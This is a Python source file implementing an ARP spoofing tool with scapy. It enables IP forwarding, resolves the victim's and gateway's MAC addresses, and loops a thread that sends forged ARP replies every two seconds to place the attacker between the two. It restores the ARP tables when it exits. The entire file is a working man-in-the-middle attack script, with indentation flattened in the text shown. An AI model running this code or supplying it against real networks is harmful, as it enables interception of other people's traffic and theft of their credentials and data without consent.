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ARPSpoofer.py
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ARPSpoofer.py
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from scapy.all import *
import atexit
from threading import Thread
import time
class ARPSpoofer:
def __init__(self, victim_ip, gateway_ip):
self.victim_ip = victim_ip
self.gateway_ip = gateway_ip
self.enable_ip_forward()
self.original_victim_mac = AskARP(victim_ip)
self.original_gateway_mac = AskARP(gateway_ip)
atexit.register(self.on_shutdown, self)
thread = Thread(target=self.poison_thread, args=(self,))
thread.start()
print("[+] ARP poison thread started.")
def enable_ip_forward(self):
print("[+] Enabling IP Forwarding.")
with open('/proc/sys/net/ipv4/ip_forward', 'w') as forward_file:
forward_file.write('1\n')
def disable_ip_forward(self):
print("[+] Disabling IP Forwarding.")
with open('/proc/sys/net/ipv4/ip_forward', 'w') as forward_file:
forward_file.write('0\n')
def poison_arp_table(self):
send(ARP(op=2, pdst=self.victim_ip, psrc=self.gateway_ip, hwdst=self.original_victim_mac), verbose=False)
send(ARP(op=2, pdst=self.gateway_ip, psrc=self.victim_ip, hwdst=self.original_gateway_mac), verbose=False)
def restore_arp_table(self):
print("[+] Restoring ARP table.")
send(ARP(op=2, pdst=self.victim_ip, psrc=self.gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",
hwsrc=self.original_gateway_mac), count=3, verbose=False)
send(ARP(op=2, pdst=self.gateway_ip, psrc=self.victim_ip, hwdst="ff:ff:ff:ff:ff:ff",
hwsrc=self.original_victim_mac), count=3, verbose=False)
def on_shutdown(self, arg):
self.restore_arp_table()
self.disable_ip_forward()
def poison_thread(self, arg):
while 1:
self.poison_arp_table()
time.sleep(2)
def AskARP(ip):
ans, unans = arping(ip)
for s, r in ans:
return r[Ether].src